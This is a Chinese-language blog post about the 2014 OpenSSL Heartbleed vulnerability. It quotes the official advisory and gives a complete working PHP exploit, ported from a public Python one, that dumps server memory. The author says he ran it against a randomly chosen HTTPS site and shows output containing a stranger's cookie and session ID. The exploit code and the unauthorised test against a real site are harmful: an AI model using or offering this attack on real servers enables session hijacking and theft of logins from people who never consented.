2014
Apr
09

昨天 OpenSSL 公開了一個很重大的漏洞,駭客可以 dump 出 Web Server 中 64k 的記憶體 區塊,這個漏洞是單純的 c 語言 memcpy 讀取超過長度的字串,而意外的將 memory 到出來,一個簡單的錯誤,卻可以造成帳號大量外洩。

官方公告內容如下 https://www.openssl.org/news/secadv_20140407.txt

A missing bounds check in the handling of the TLS heartbeat extension can be used to reveal up to 64k of memory to a connected client or server.
Only 1.0.1 and 1.0.2-beta releases of OpenSSL are affected including 1.0.1f and 1.0.2-beta1.
Thanks for Neel Mehta of Google Security for discovering this bug and to Adam Langley and Bodo Moeller for preparing the fix.
Affected users should upgrade to OpenSSL 1.0.1g. Users unable to immediately upgrade can alternatively recompile OpenSSL with -DOPENSSL_NO_HEARTBEATS.
1.0.2 will be fixed in 1.0.2-beta2.

好消息是只有 openSSL 1.0.1, 1.0.2-beta, 1.0.1f, 1.0.2-beta1 這幾個版本有此漏洞,其他是安全的,大家趕快檢查一下伺服器的 openSSL 版本吧。

這個漏洞已經被修復,安裝官方最新釋出的 OpenSSL 1.0.1g 或 1.0.2-beta2 即可。


這個漏洞修復了幾個地方,可以從這裡的 Source Code 修改記錄中查到:

而官方釋出的新版 Source Code 在這裡 https://www.openssl.org/source/ 可以下載。

漏洞測試

已經有人開發出測試這個漏洞的工具,請到網址 http://filippo.io/Heartbleed/ 輸入你的 https server hostname,就可以測出你的網站是否有這個漏洞。

PHP 版攻擊 HTTPS Server 的程式

國外有人公開了 Python 版的攻擊程式,抱著學習的心情,我把他改成了比較熟析的 PHP 版本,不過我對 OpenSSL 實在是沒什麼研究,沒辦法解釋其中的原理,只能看大家看範例了。

dumpHTTPS.php
  1. <?php
  2. $host = "www.xxx.com";
  3. $port = 443;
  4.  
  5.  
  6. $helloMsg = "16 03 02 00 dc 01 00 00 d8 03 02 53
  7. 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
  8. bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
  9. 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
  10. 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
  11. c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
  12. c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
  13. c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
  14. c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
  15. 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
  16. 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
  17. 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
  18. 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
  19. 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
  20. 00 0f 00 01 01";
  21. $hackMsg = "18 03 02 00 03 01 40 00";
  22.  
  23. $helloMsg = preg_replace('/[srn]+/', '', $helloMsg);
  24. $helloMsg = hex2bin($helloMsg);
  25.  
  26. $hackMsg = preg_replace('/[srn]+/', '', $hackMsg);
  27. $hackMsg = hex2bin($hackMsg);
  28.  
  29.  
  30. $socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  31.  
  32. if (!@socket_connect($socket, $host, $port)) {
  33. $err = socket_last_error($socket);
  34. echo "error";
  35. print_r($err);
  36. exit(1);
  37. }
  38.  
  39. socket_write($socket, $helloMsg, strlen($helloMsg) );
  40.  
  41. $header = getHeader($socket);
  42. $buf = getResponse($socket, $header['length']);
  43.  
  44. socket_write($socket, $hackMsg, strlen($hackMsg) );
  45. socket_write($socket, $hackMsg, strlen($hackMsg) );
  46.  
  47. while (1) {
  48.  
  49.  
  50. $header = getHeader($socket);
  51. if (empty($header['type'])) {
  52. echo "n response type nulln";
  53. exit(1);
  54. }
  55.  
  56. if ($header['length'] <= 0) {
  57. continue;
  58. }
  59. $revContent = getResponse($socket, $header['length']);
  60.  
  61. switch ($header['type']) {
  62. case 24:
  63. echo convertContent($revContent);
  64. break;
  65. default:
  66. break;
  67. }
  68. }
  69.  
  70.  
  71.  
  72.  
  73. function hexToString($str) {
  74. $n = strlen($str);
  75. $nStr = "";
  76. for ($i = 0; $i < $n; $i+=2) {
  77. $hex = substr($str, $i, 2);
  78. $nStr .= chr(hexdec($hex));
  79.  
  80. }
  81. return $nStr;
  82. }
  83.  
  84.  
  85. function getHeader($socket) {
  86.  
  87. $revHeader = getResponse($socket, 5);
  88. $b1 = substr($revHeader, 0, 1);
  89. $type = hexdec(bin2hex($b1));
  90. $b2 = substr($revHeader, 1, 2);
  91. $version = bin2hex($b2);
  92. $b3 = substr($revHeader, 3, 2);
  93. $length = hexdec(bin2hex($b3));
  94. return array(
  95. "type" => $type,
  96. "length" => $length,
  97. "version" => $version,
  98. );
  99. }
  100.  
  101.  
  102. function convertContent ($c) {
  103. $c = bin2hex($c);
  104. $c = hexToString($c);
  105. return urldecode($c);
  106.  
  107. }
  108. function getResponse($socket, $length) {
  109. $revContent = "";
  110. while ($length > 0) {
  111. $revContent .= @socket_read($socket, $length, PHP_BINARY_READ);
  112. $n = strlen($revContent);
  113. $length -= $n;
  114. }
  115. return $revContent;
  116. }

這個程式可以從印出 Web Server 的 Cookie , Form Post 等資料,也就是說當有一個人正在看這個網站時,此人 Browser 的 cookie, form post 會傳送給 Server ,並且暫時的儲存在 Server Memory 中,只要 Memory 沒有被清除,那麼資料為一直存在著,而這個漏洞剛好就是可以倒出 Memory 的資料,所以駭客就有機會取得別人的 cookie, form post 。

拿到 cookie 可能還不是太嚴重的問題,但是若是能拿到 form post 的資料,代表只要有人正好在網站執行登入的行為,駭客就能很剛好的印出他的登入帳密。

實測結果

隨機找一個有支援 https 網站來實測,結果有順利的取得別人 cookie !

Example
  1. $ php dumpHTTPS.php
  2.  
  3. @�SC[���r�� ��H�Ͻ9�
  4. ���w3��f��
  5. �"�!98����5�����
  6. �� ��32��ED��/�A���� �I #indows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/33.0.1750.154 Safari/537.36
  7. Referer: https://www.xxx.com/
  8. Accept-Encoding: gzip, deflate
  9. DNT: 1
  10. Referer: https://www.xxx.com/forum/xxxxx.html
  11. Cookie: xx_visited=TRUE; _xa=GA1.2.375224124.1394566734; PHPSESSID=f42ec341babc728b8fcba5804efcce92
  12. Connection: keep-alive
  13.  
  14. ��<>3Y�
  15. 4ۓ�A�C

相關資料


回應 (Leave a comment)